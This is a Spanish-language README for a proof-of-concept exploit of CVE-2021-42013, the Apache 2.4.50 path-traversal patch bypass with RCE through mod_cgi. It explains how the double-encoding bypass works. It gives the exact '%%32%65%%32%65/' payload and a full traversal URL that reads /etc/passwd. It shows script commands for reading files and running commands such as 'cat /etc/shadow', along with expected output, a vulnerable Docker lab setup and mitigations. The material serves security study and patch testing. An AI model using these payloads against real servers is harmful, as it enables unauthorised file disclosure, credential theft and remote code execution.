Share
## https://sploitus.com/exploit?id=EECE9D9F-6DA3-5669-A840-4B74F51D2FBB
# CVE-2021-42013 — PoC: Path Traversal + RCE via mod_cgi (bypass de parche)

> **Solo para uso en entornos controlados y propios. No usar contra sistemas sin autorización.**

---

## Descripción

PoC desarrollada para demostrar **CVE-2021-42013**, presente en **Apache HTTP Server 2.4.50**.

Este CVE es el bypass del parche que Apache publicó para CVE-2021-41773. La versión 2.4.50 intentó corregir el path traversal anterior agregando una validación que rechazaba las secuencias `.%2e` y `%2e.`. Sin embargo, esa validación era insuficiente: no contemplaba que el mismo resultado podía obtenerse con **doble URL encoding**, dejando la misma superficie de ataque expuesta.

---

## Relación con CVE-2021-41773

| | CVE-2021-41773 | CVE-2021-42013 |
|---|---|---|
| Versión afectada | Apache 2.4.49 | Apache 2.4.50 |
| Encoding utilizado | `.%2e/` | `%%32%65%%32%65/` |
| Mecanismo | Single encoding | Doble encoding (bypass de parche) |
| RCE posible | Sí (con mod_cgi) | Sí (con mod_cgi) |
| Versión corregida | 2.4.50 (parche incompleto) | 2.4.51 |

---

## Por qué el parche de 2.4.50 falló

El parche de Apache 2.4.50 agregó una validación en `ap_normalize_path()` que buscaba literalmente las secuencias `.%2e` y `%2e.` en el path de la request. Si las encontraba, rechazaba el request con 400 o 403.

El problema: esa validación se ejecutaba sobre el string **antes de una segunda pasada de decodificación URL**. Si el payload estaba doblemente encodado, la validación no encontraba la secuencia prohibida porque aún no estaba decodificada — y cuando finalmente se decodificaba para resolver el path del filesystem, el `../` ya estaba presente y el traversal ocurría igual.

```
Payload:          %%32%65%%32%65/
Validación 2.4.50 busca: .%2e → NO ENCUENTRA → deja pasar
Primera decodificación:   %%32%65%%32%65/ → %2e%2e/
Segunda decodificación:   %2e%2e/         → ../
Resultado:        traversal exitoso
```

La corrección real llegó en 2.4.51, donde Apache reescribió la lógica de normalización para resolver completamente el path antes de aplicar cualquier validación de seguridad.

---

## El doble encoding — cómo funciona

`%%32%65` es la representación doblemente encodada de `.`:

```
.  →  %2e  (encoding estándar)
%  →  %25  (encoding del símbolo %)
2  →  %32  (encoding del carácter '2')
e  →  %65  (encoding del carácter 'e')
```

Entonces `%2e` con su `%` encodeado y los caracteres hex encodeados se convierte en `%%32%65`.

Una primera decodificación de `%%32%65` produce `%2e`. Una segunda produce `.`.

---

## Condiciones necesarias

| Condición | Detalle |
|-----------|---------|
| Versión de Apache | Exactamente `2.4.50` |
| Directiva de acceso | `Require all granted` en el directorio expuesto |
| Módulo CGI | `mod_cgi` habilitado (solo para RCE) |

---

## Entorno de pruebas

```bash
# Imagen de Apache 2.4.50 con configuración vulnerable
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013
```

O manualmente con Apache 2.4.50 y esta configuración en `httpd.conf`:

```apache
LoadModule cgi_module modules/mod_cgi.so


    Require all granted



    Options +ExecCGI
    AddHandler cgi-script .cgi .pl .sh
    Require all granted


Alias /traversal /var/www/html
```

---

## Uso del script

```bash
python PoC_2021-42013.py --target  --mode  [--cmd ]
```

### Argumentos

| Argumento | Requerido | Descripción |
|-----------|-----------|-------------|
| `--target` | Sí | URL base del servidor (ej: `http://localhost:8080`) |
| `--mode` | Sí | `traversal` para leer archivos, `rce` para ejecutar comandos |
| `--cmd` | No | Comando a ejecutar en modo `rce` (default: `id`) |

### Ejemplos

```bash
# Leer /etc/passwd
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal

# Ejecutar id
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id

# Comando con espacios
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
```

### Output esperado — modo traversal

```
============================================================
  CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
  Bypass del parche de CVE-2021-41773 via doble encoding
  PoC con fines educativos — Solo en entornos propios
============================================================

[+] Modo: Path Traversal (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Encoding: %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL construida: http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Enviando request...

[+] Servidor vulnerable! Status code: 200
[+] Confirmado: Apache 2.4.50 con parche incompleto
=== Contenido de /etc/passwd:

root:x:0:0:root:/root:/bin/bash
...
```

### Output esperado — modo rce

```
[+] Modo: RCE via mod_cgi (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] RCE confirmado! (Apache 2.4.50 — parche incompleto)

uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

---

## Mitigación

- Actualizar Apache a versión `2.4.51` o superior.
- Mantener `Require all denied` como valor por defecto.
- Deshabilitar `mod_cgi` si no es necesario.
- Nunca confiar en que un parche es completo sin revisarlo: el análisis del diff de 2.4.51 muestra que la corrección real requirió reescribir la lógica de normalización completa.

---

## Referencias

- [NVD — CVE-2021-42013](https://nvd.nist.gov/vuln/detail/CVE-2021-42013)
- [Apache HTTP Server — Security Advisories](https://httpd.apache.org/security/vulnerabilities_24.html)
- [Qualys — CVE-2021-41773 & CVE-2021-42013 Analysis](https://blog.qualys.com/vulnerabilities-threat-research/2021/10/27/apache-http-server-path-traversal-remote-code-execution-cve-2021-41773-cve-2021-42013)

---

*PoC desarrollada con fines educativos para portafolio de seguridad ofensiva.*